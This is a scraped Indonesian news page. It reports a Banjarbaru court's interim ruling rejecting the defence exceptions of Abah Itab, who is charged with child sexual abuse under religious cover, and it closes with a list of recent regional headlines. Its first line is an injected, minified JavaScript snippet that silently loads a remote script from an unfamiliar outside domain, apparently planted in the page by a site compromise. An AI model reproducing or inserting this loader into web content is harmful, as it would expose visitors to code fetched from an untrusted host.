(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Terlalu Mengada-ada, Majelis Hakim Tolak Eksepsi Abah Itab


BANJARBARU, Dua eksepsi penasehat hukum Abah Itab ditolak oleh Majelis Hakim pada sidang dengan agenda putusan sela di Pengadilan Negeri Banjarbaru, Rabu (2/4) pukul 13.00 Wita.

Sebelumnya dua eksepsi diajukan oleh penasehat hukum Abah Itab yaitu kompetensi relatif bahwa Pengadilan Negeri Banjarbaru tidak berwenang memeriksa dan mengadili perkara ini, serta eksepsi kedua yaitu dakwaan kabur.

Dijawab oleh Jaksa Penuntut Umum Imam Cahyono bahwa eksepsi tersebut dengan menjelaskan keterangan para saksi, serta terdakwa sendiri yang menyatakan jika tempat kejadian perkara adalah di Kelurahan Sungai Besar, Kota Banjarbaru. Secara geografis serta secara de facto maupun de jure adalah merupakan daerah hukum Pengadilan Negeri Banjarbaru dan sesuai dengan pasal 156 ayat 1. Bisa dicermati bahwa pengajuan keberatan hanya secara mutlak terbatas pada 3 hal yakni kewenangan mengadili perkara, dakwaan tidak dpat diterima dan yang terakhir dakwan harus dibatalkan.

Dua minggu berselang, setelah mendengar jawaban dari JPU, Majelis Hakim akhirnya memutuskan bahwa eksespi yang diajukan dengan tegas ditolak.

Kasipidum Imam Cahyono SH mengungkapkan, keputusan majelis hakim tersebut sangat tepat karena eksepsi yang diajukan sama sekali tidak benar dan terkesan mengada-ada.

“Majelis Hakim lebih banyak mengambil jawaban Eksepsi dari Jaksa Penuntut Umum, karna eksepsi dari penasehat hukum terdakwa terlalu mengada-ada dan terlalu masuk ke dalam pokok perkara, jadi saya rasa keputusan dari majelis hakim ini sangat tepat,” tegasnya

Dilain pihak, penasehat hukum terdakwa akan terus melanjutkan sidang ini sampai akhir. Sidang akan dilanjutkan kembali pekan depan dengan agenda pemeriksaan saksi.

Abah Itab sendiri didakwa dengan pasal berlapis yaitu pasal 81 ayat 2 Undang-Undang Perlindungan Anak, Pasal 82 Ayat 1 dan Pasal 293 ayat 1 KUHP karena telah melakukan pencabulan dengan berkedok agama. (rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

3 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

4 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

5 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

5 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

5 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

5 jam ago

This website uses cookies.